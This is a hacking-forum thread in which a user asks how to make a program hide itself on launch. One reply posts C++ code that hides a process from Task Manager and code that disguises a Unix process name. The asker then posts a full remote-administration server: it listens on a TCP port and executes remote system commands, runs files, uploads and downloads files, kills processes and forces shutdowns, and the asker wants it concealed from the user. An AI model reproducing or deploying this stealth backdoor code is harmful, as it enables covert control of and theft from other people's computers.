c++ code help
c++ code help
is there a line ov code that will hide my app as soon as it opens
-
- cyber messiah
- Posts: 1201
- Joined: 30 Apr 2006, 16:00
- 17
- Location: 127.0.0.1
1.There is something in windows known as TSRs.. (terminate and stay resident programs), usually this is what they use in malicious programs.. but telling you more about this is impossible for me, since it contains some calls to the BIOS and operating system kernel.. and they are in hex...
So again you would have 1000 questions ready since on that.. i dont think you should learn about TSRs without doing your homework first.
2.There are other ways of doing this too.
In windows you can hide a process from task manager by following code
in linux you can hide processes from ps and top with
So again you would have 1000 questions ready since on that.. i dont think you should learn about TSRs without doing your homework first.
2.There are other ways of doing this too.
In windows you can hide a process from task manager by following code
Code: Select all
USERES("HiddenApp.res");
USEFORM("Unit1.cpp",Form1);
typedef DWORD (WINAPI *TRegisterServiceProcess)(DWORD,DWORD);
bool registered=false;
//-----------------------------------------------------------------------
void __fastcall reg(bool which) //true=register, false=unregister
{
HMODULE hmod;
TRegisterServiceProcess pReg;
hmod = LoadLibrary("kernel32.dll");
if (!hmod) return;
(FARPROC)pReg = (FARPROC)::GetProcAddress(hmod,"RegisterServiceProcess");
if (!pReg) {FreeLibrary(hmod); return;}
else
{
if (which)
pReg(0,1); //unregister our process
else
pReg(0,0);
}
registered = true;
FreeLibrary(hmod);
}
//-----------------------------------------------------------------------
WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)
{
try
{
reg(true);
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
if (registered) reg(false);
return 0;
}
//--------------eof--------------------------------------------------------
Code: Select all
int main(argc, argv)
int argc;
char **argv;
{
char *p;
for (p = argv[0]; *p; p++)
*p = 0;
strcpy(argv[0], "rn");
(void) getchar (); /* to allow you to see that ps reports "rn" */
return(0);
}
how would i hide this from the desktop
Code: Select all
[/code/ /#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
#include <winsock2.h>
#include <winioctl.h>
#include <string>
#include <direct.h>
#include <tlhelp32.h>
#include <fstream>
using namespace std;
ofstream fo;
ifstream fi;
void OpenCD();
void CloseCD();
void Shutdown();
void Restart();
void Logoff();
void Execute(char *file);
void URL(char* website);
void Beep();
void Msgbox(char* title, char* message);
void Setcursor(int x, int y);
int System(char* command);
void Hidetb();
void Showtb();
void Hidedt();
void Showdt();
void GetCurrentPath(char* buffer);
BOOL GetProcessList();
char* Kill(char* process_name);
void Put();
//char toLowerCase(char* letter);
char* GetIP();
char data[12800];
char processkill[256];
int List(char* dPath);
int main(int argc, char *argv[])
{
char* IP;
int x;
int y;
char sendback[256]="";
char command[256]="";
char command1[256]="";
char command2[256]="";
char command_holder[256]="";
IP=GetIP();
int port=12345;
char CurrentPath[_MAX_PATH];
sockaddr_in service;
WSADATA wsaData;
SOCKET m_socket;
SOCKET AcceptSocket;
start:
int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
/* error check */
if ( iResult != NO_ERROR )
printf("Error at WSAStartup()\n");
/* set socket */
m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
/* error check */
if ( m_socket == INVALID_SOCKET )
{
printf( "Error at socket(): %ld\n", WSAGetLastError() );
WSACleanup();
return EXIT_SUCCESS;
}
/* Initialize the server */
service.sin_family = AF_INET;
service.sin_addr.s_addr = INADDR_ANY;
service.sin_port = htons( port );
/* Bind and error check */
if ( bind( m_socket, (SOCKADDR*) &service, sizeof(service) ) == SOCKET_ERROR )
{
printf( "bind() failed.\n" );
closesocket(m_socket);
return EXIT_SUCCESS;
}
/* Listen and error check */
if ( listen( m_socket, 1 ) == SOCKET_ERROR )
printf( "Error listening on socket.\n");
printf( "Waiting for a client to connect...\n" );
/* wait for a client to connect */
while (1)
{
AcceptSocket = 0+SOCKET_ERROR;
while ( AcceptSocket == (unsigned)SOCKET_ERROR )
{
AcceptSocket = accept( m_socket, NULL, NULL );
}
printf( "Client Connected.\n");
m_socket = AcceptSocket;
break;
}
/* we are connected, now display on their screen that we are. */
strcpy(sendback,"Connected!");
send( m_socket, sendback, strlen(sendback), 0 );
int j=0;
for(;j<500;)
{
for(int i=0;i<250;i++)
{
data[i]='\0';
command[i]='\0';
command1[i]='\0';
command2[i]='\0';
sendback[i]='\0';
processkill[i]='\0';
}
strcpy(data,"");
recv( m_socket, command, 256, 0 );
//printf("command = %s\n",command);
if(command[0]=='o'&&command[1]=='p'&&command[2]=='e'&&command[3]=='n'&&command[4]=='c'&&command[5]=='d'&&command[6]=='\0')
{
strcpy(sendback,"Opening CD drive");
send( m_socket, sendback, strlen(sendback), 0 );
OpenCD();
}
else
if(command[0]=='c'&&command[1]=='l'&&command[2]=='o'&&command[3]=='s'&&command[4]=='e'&&command[5]=='c'&&command[6]=='d'&&command[7]=='\0')
{
strcpy(sendback,"Closing CD drive");
send( m_socket, sendback, strlen(sendback), 0 );
CloseCD();
}
else
if(command[0]=='b'&&command[1]=='e'&&command[2]=='e'&&command[3]=='p'&&command[4]=='\0')
{
strcpy(sendback,"Beeping");
send( m_socket, sendback, strlen(sendback), 0 );
Beep();
}
else
if(command[0]=='c'&&command[1]=='l'&&command[2]=='o'&&command[3]=='s'&&command[4]=='e'&&command[5]=='\0')
{
strcpy(sendback,"Closing Connection");
send( m_socket, sendback, strlen(sendback), 0 );
break;
}
else
if(command[0]=='e'&&command[1]=='x'&&command[2]=='e'&&command[3]=='c'&&command[4]=='u'&&command[5]=='t'&&command[6]=='e'&&command[7]=='\0')
{
recv( m_socket, command1, 256, 0 );
Execute(command1);
strcpy(sendback,"Program Executed");
send( m_socket, sendback, strlen(sendback), 0 );
}
else
if(command[0]=='h'&&command[1]=='i'&&command[2]=='d'&&command[3]=='e'&&command[4]=='d'&&command[5]=='t'&&command[6]=='\0')
{
strcpy(sendback,"Hidding the desktop");
send( m_socket, sendback, strlen(sendback), 0 );
Hidedt();
}
else
if(command[0]=='s'&&command[1]=='h'&&command[2]=='o'&&command[3]=='w'&&command[4]=='d'&&command[5]=='t'&&command[6]=='\0')
{
strcpy(sendback,"Showing the desktop");
send( m_socket, sendback, strlen(sendback), 0 );
Showdt();
}
else
if(command[0]=='s'&&command[1]=='y'&&command[2]=='s'&&command[3]=='t'&&command[4]=='e'&&command[5]=='m'&&command[6]=='\0')
{
recv( m_socket, command1, 256, 0 );
System(command1);
strcpy(sendback,"System command executed");
send( m_socket, sendback, strlen(sendback), 0 );
}
else
if(command[0]=='h'&&command[1]=='i'&&command[2]=='d'&&command[3]=='e'&&command[4]=='t'&&command[5]=='b'&&command[6]=='\0')
{
strcpy(sendback,"Hidding the taskbar");
send( m_socket, sendback, strlen(sendback), 0 );
Hidetb();
}
else
if(command[0]=='s'&&command[1]=='h'&&command[2]=='o'&&command[3]=='w'&&command[4]=='t'&&command[5]=='b'&&command[6]=='\0')
{
strcpy(sendback,"Showing the taskbar");
send( m_socket, sendback, strlen(sendback), 0 );
Showtb();
}
else
if(command[0]=='u'&&command[1]=='r'&&command[2]=='l'&&command[3]=='\0')
{
recv( m_socket, command1, 256, 0 );
URL(command1);
strcpy(sendback,"URL opened");
send( m_socket, sendback, strlen(sendback), 0 );
}
else
if(command[0]=='d'&&command[1]=='i'&&command[2]=='r'&&command[3]=='\0')
{
//data[6400]
List(".\\*");
strcat(data,"\r\n");
GetCurrentPath(CurrentPath);
strcat(data,CurrentPath);
send( m_socket, data, strlen(data), 0 );
for(int i=0;i<1600;i++)
{
//strcat(data,"\0\0\0\0\0\0\0\0\0\0");
data[i]='\0';
}
strcpy(data,"");
// send( m_socket, sendback, strlen(sendback), 0 );
}
else
if(command[0]=='c'&&command[1]=='d'&&command[2]=='\0')
{
recv( m_socket, command1, 256, 0 );
chdir(command1);
GetCurrentPath(CurrentPath);
strcat(sendback,CurrentPath);
send( m_socket, sendback, strlen(sendback), 0 );
}
else
if(command[0]=='l'&&command[1]=='o'&&command[2]=='g'&&command[3]=='o'&&command[4]=='f'&&command[5]=='f'&&command[6]=='\0')
{
strcpy(sendback,"Logging off the computer");
send( m_socket, sendback, strlen(sendback), 0 );
Logoff();
}
else
if(command[0]=='r'&&command[1]=='e'&&command[2]=='s'&&command[3]=='t'&&command[4]=='a'&&command[5]=='r'&&command[6]=='t'&&command[7]=='\0')
{
strcpy(sendback,"Restarting computer");
send( m_socket, sendback, strlen(sendback), 0 );
Restart();
}
else
if(command[0]=='s'&&command[1]=='h'&&command[2]=='u'&&command[3]=='t'&&command[4]=='d'&&command[5]=='o'&&command[6]=='w'&&command[7]=='n'&&command[8]=='\0')
{
strcpy(sendback,"Shutting down computer");
send( m_socket, sendback, strlen(sendback), 0 );
Shutdown();
}
else
if(command[0]=='t'&&command[1]=='e'&&command[2]=='r'&&command[3]=='m'&&command[4]=='i'&&command[5]=='n'&&command[6]=='a'&&command[7]=='t'&&command[8]=='e'&&command[9]=='\0')
{
recv( m_socket, command1, 256, 0 );
Kill(command1);
send( m_socket, processkill, strlen(processkill), 0 );
}
else
if(command[0]=='m'&&command[1]=='s'&&command[2]=='g'&&command[3]=='b'&&command[4]=='o'&&command[5]=='x'&&command[6]=='\0')
{
recv( m_socket, command1, 256, 0 );
recv( m_socket, command2, 256, 0 );
Msgbox(command1,command2);
strcpy(sendback,"MessageBox created.");
send( m_socket, sendback, strlen(sendback), 0 );
}
else
if(command[0]=='p'&&command[1]=='r'&&command[2]=='o'&&command[3]=='g'&&command[4]=='s'&&command[5]=='\0')
{
GetProcessList();
send( m_socket, data, strlen(data), 0 );
}
else
if(command[0]=='p'&&command[1]=='u'&&command[2]=='t'&&command[3]=='\0')
{
char buffer[5]="";
int ii=0;
int byte;
int x=1;
recv( m_socket, command1, 256, 0 );
fo.open(command1, ios::binary);
while(x==1)
{
recv( m_socket, buffer, sizeof(buffer), 0 );
//Sleep(1);
if(buffer[0]=='d'&&buffer[1]=='o'&&buffer[2]=='n'&&buffer[3]=='e')
x=0;
else
fo.put(buffer[0]);
}
fo.close();
for(int i=0;i<sizeof(buffer);i++)
buffer[i]='\0';
strcpy(sendback,"File sucessfully transfered");
send(m_socket,sendback,sizeof(sendback),0);
}
else
if(command[0]=='g'&&command[1]=='e'&&command[2]=='t'&&command[3]=='\0')
{
char buffer[5]="";
char buffer2[256]="";
int ii=0;
int byte;
GetCurrentPath(buffer2);
recv( m_socket, command1, sizeof(command1), 0 );
strcat(buffer2,"\\");
strcat(buffer2,command1);
//printf("buffer2: %s\n",buffer2);
fi.open(buffer2, ios::binary);
if(!fi.is_open())
{
strcpy(buffer,"done");
send(m_socket,buffer,sizeof(buffer),0);
}
else
while(!fi.eof())
{
byte=fi.get();
if(fi.eof())
break;
else
{
//Sleep(1);
buffer[0]=byte;
send(m_socket,buffer,sizeof(buffer),0);
}
}
fi.close();
for(int i=0;i<sizeof(buffer);i++)
buffer[i]='\0';
strcpy(buffer,"done");
send(m_socket,buffer,sizeof(buffer),0);
strcpy(sendback,"File sucessfully transfered");
send(m_socket,sendback,sizeof(sendback),0);
}
else
{
strcpy(sendback,"Command Not recignized!");
send( m_socket, sendback, strlen(sendback), 0 );
}
j++;
}
WSACleanup();
goto start;
system("PAUSE");
return EXIT_SUCCESS;
}
void OpenCD()
{
string sdrive("\\\\.\\D:");
DWORD d = 0;
HANDLE hcd = CreateFile(sdrive.c_str(),
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_READONLY,
NULL);
if (hcd == INVALID_HANDLE_VALUE)
printf("Could not open drive D:\\\n");
DeviceIoControl(hcd,
IOCTL_STORAGE_EJECT_MEDIA,
NULL,
0,
NULL,
0,
&d,
NULL);
CloseHandle(hcd);
}
void CloseCD()
{
string sdrive("\\\\.\\D:");
DWORD d = 0;
HANDLE hcd = CreateFile(sdrive.c_str(),
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_READONLY,
NULL);
if (hcd == INVALID_HANDLE_VALUE)
printf("Could not open drive D:\\\n");
DeviceIoControl(hcd,
IOCTL_STORAGE_LOAD_MEDIA,
NULL,
0,
NULL,
0,
&d,
NULL);
CloseHandle(hcd);
}
void Shutdown()
{
System("Shutdown -f -s -t 00");
}
void Restart()
{
System("Shutdown -f -r -t 00");
}
void Logoff()
{
ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);
}
void Execute(char* file)
{
ShellExecute(NULL,"open",file,NULL,NULL,SW_SHOW);
}
void URL(char* website)
{
(32 >= (int)ShellExecute(NULL, "open", website, NULL, NULL, SW_SHOWNORMAL));
}
void Beep()
{
printf("\a");
}
void Msgbox(char* title,char* message)
{
MessageBox(NULL,message,title,MB_OK|MB_ICONERROR|MB_TASKMODAL|MB_TOPMOST);
}
void Setcursor(int x,int y)
{
SetCursorPos(x,y);
}
int System(char* command)
{/*
char* holder;
int i=0, a=0;
while(i==0)
{
if(command[a]!=' ')
i=1;
else
holder[a]=toLowerCase((char*)command[a]);
a++;
}
cout << "holder = " << holder << "\n";
if(strcmp(holder,"format"))
return 0;
if(strcmp(holder,"del"))
return 0;
*/
system(command);
}
void Hidetb()
{
HWND hSTb;
hSTb=FindWindow("Shell_traywnd", "");
SetWindowPos(hSTb,0,0,0,0,0,SWP_HIDEWINDOW);
}
void Showtb()
{
HWND hHTb;
hHTb=FindWindow("Shell_traywnd", "");
SetWindowPos(hHTb,0,0,0,0,0,SWP_SHOWWINDOW);
}
void Hidedt()
{
HWND hSDt;
hSDt=FindWindowEx(NULL,NULL,"Progman", NULL);
ShowWindow(hSDt,SW_HIDE);
}
void Showdt()
{
HWND hHDt;
hHDt=FindWindowEx(NULL,NULL,"Progman", NULL);
ShowWindow(hHDt,SW_SHOW);
}
/*
char toLowerCase(char* letter)
{
if(letter=="A")
return 'a';
else
if(letter=="B")
return 'b';
else
if(letter=="C")
return 'c';
else
if(letter=="D")
return 'd';
else
if(letter=="E")
return 'e';
else
if(letter=="F")
return 'f';
else
if(letter=="G")
return 'g';
else
return letter[0];
}
*/
char* GetIP()
{
WORD wVersionRequested;
WSADATA wsaData;
char name[255];
char *ip="";
PHOSTENT hostinfo;
wVersionRequested = MAKEWORD( 2, 0 );
if ( WSAStartup( wVersionRequested, &wsaData ) == 0 )
{
if( gethostname ( name, sizeof(name)) == 0)
{
if((hostinfo = gethostbyname(name)) != NULL)
{
ip = inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list);
printf("%s\n",ip);
}
}
WSACleanup( );
}
return (char*)ip;
}
int List(char* dPath)
{
//delete data;
WIN32_FIND_DATA FileData;
HANDLE hFile;
hFile = FindFirstFile(dPath,&FileData);
strcat(data,"");
if ( INVALID_HANDLE_VALUE == hFile )
{
strcpy(data,"No files\n");
return false;
}
else
for ( ;; )
{
if(FILE_ATTRIBUTE_DIRECTORY == FileData.dwFileAttributes)
strcat(data,"<DIR>");
else
if(FILE_ATTRIBUTE_HIDDEN == FileData.dwFileAttributes)
strcat(data,"<HID>");
strcat(data,"\t");
strcat(data,FileData.cFileName);
strcat(data,"\r\n");
if ( 0 == FindNextFile(hFile, &FileData ) )
break;
}
return true;
}
void GetCurrentPath(char* buffer)
{
getcwd(buffer, _MAX_PATH);
}
BOOL GetProcessList()
{
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;
int a=0;
strcpy(data,"");
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
// printError( "CreateToolhelp32Snapshot (of processes)" );
return( FALSE );
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof( PROCESSENTRY32 );
// Retrieve information about the first process,
// and exit if unsuccessful
if( !Process32First( hProcessSnap, &pe32 ) )
{
// printError( "Process32First" ); // Show cause of failure
CloseHandle( hProcessSnap ); // Must clean up the snapshot object!
return( FALSE );
}
// Now walk the snapshot of processes, and
// display information about each process in turn
do
{
a=0;
// Retrieve the priority class.
dwPriorityClass = 0;
hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
if( hProcess == NULL ){a=1;}
// printError( "OpenProcess" );
else
{
dwPriorityClass = GetPriorityClass( hProcess );
if( !dwPriorityClass )
{a=1;}
// printError( "GetPriorityClass" );
CloseHandle( hProcess );
}
if(a==0)
{
strcat(data,pe32.szExeFile);
strcat(data,"\r\n");
}
// printf( "\n process ID = 0x%08X", pe32.th32ProcessID );
// printf( "\n thread count = %d", pe32.cntThreads );
// printf( "\n parent process ID = 0x%08X", pe32.th32ParentProcessID );
// printf( "\n Priority Base = %d", pe32.pcPriClassBase );
// if( dwPriorityClass )
// printf( "\n Priority Class = %d", dwPriorityClass );
// List the modules and threads associated with this process
//ListProcessModules( pe32.th32ProcessID );
//ListProcessThreads( pe32.th32ProcessID );
} while( Process32Next( hProcessSnap, &pe32 ) );
CloseHandle( hProcessSnap );
return( TRUE );
}
char* Kill(char* process_name)
{
HANDLE snapshot;
PROCESSENTRY32 proc;
DWORD Process_TID;
HANDLE ProcessHandle;
int gotime=0;
proc.dwSize = sizeof(proc);
// cout << "Looking for " << process_name << "\n";
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
Process32First(snapshot, &proc);
do{// Find the Given Process
if(strcmp(proc.szExeFile,process_name)==0)
{
// cout << "Killing " << proc.szExeFile << ":" << proc.th32ProcessID << "\n";
Process_TID = proc.th32ProcessID;
gotime++;
break;
}
}while (Process32Next(snapshot, &proc));
if(gotime < 1)
{
strcpy(processkill,"Could not find ");
strcat(processkill,process_name);
}
else
{
CloseHandle(snapshot);
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_TERMINATE, FALSE, Process_TID);
TerminateProcess(ProcessHandle, (DWORD)0);
strcpy(processkill,"The program ");
strcat(processkill,process_name);
strcat(processkill," has been closed.");
}
//return info;
}
void Put()
{
}
-
- cyber messiah
- Posts: 1201
- Joined: 30 Apr 2006, 16:00
- 17
- Location: 127.0.0.1
- bad_brain
- Site Owner
- Posts: 11636
- Joined: 06 Apr 2005, 16:00
- 19
- Location: In your eye floaters.
- Contact:
hehe, alright, here's a way:
but it's up to you now to implement it...
Code: Select all
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
while(1)
{
Sleep(1000);
}
return 0;
}
- CommonStray
- Forum Assassin
- Posts: 1215
- Joined: 20 Aug 2005, 16:00
- 18
Code: Select all
include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
while(1)
{
Sleep(1000);
}
return 0;
}
Yeah i have one...bubzuru wrote:i added the code but the window still shows up any more suggestionsCode: Select all
include <windows.h> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { while(1) { Sleep(1000); } return 0; }
http://www.cplusplus.com/doc/tutorial/
"The best place to hide a tree, is in a forest"
-
- cyber messiah
- Posts: 1201
- Joined: 30 Apr 2006, 16:00
- 17
- Location: 127.0.0.1